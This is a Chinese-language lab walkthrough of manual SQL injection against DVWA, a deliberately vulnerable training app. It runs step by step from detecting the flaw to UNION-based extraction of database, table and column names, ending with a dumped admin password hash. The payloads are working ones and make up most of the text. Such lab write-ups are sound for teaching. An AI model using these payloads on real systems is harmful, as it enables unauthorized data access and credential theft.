1.判断注入点是否存在注入
输入引号,若不正常返回,则证明与查询语句中的该参数前的引号闭合,存在注入点
2.判断注入类型
若输入1 and 1 =1,正常返回;输入1 and 1=2,不正常返回,则证明其为数字型注入(题中输入1 and 1=2,正常返回,不是数字型注入)
若输入1’and ‘1’ =’1(或1’and 1 =1#),正常返回;输入1’ and’1’=’2(或1’and 1=2#),不正常返回,则证明其为字符型注入(一般用#方法)
3.判断列的长度(order by二分法)
1’ order by 10# 结果:unknown
1’ order by 5# 结果:unknown
1’ order by 3# 结果:unknown
1’ order by 2# 结果:正常
说明有2列
大致能判断后台sql语句:select Firstname,Surname from users where id=’$id’
4.判断页面的回显点
输入1’ union select 1,2#
后台语句:select Firstname,Surname from users where id='1' union select 1,2#'
5.通过替换来查找想要的信息
输入1' union select 1,version()#
6.爆数据库名
输入-1' union select 1,database()# 得到数据库名称为dvwa
7.爆数据表
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
爆出两个表:guestbook,users,我们猜测用户名和密码在users表
8.爆字段名
-1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
用户名和密码对应的字段名为user,password
9.爆字段值(真实情况下不要做, dump50条数据违法)
-1' union select user,password from users#
结果
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99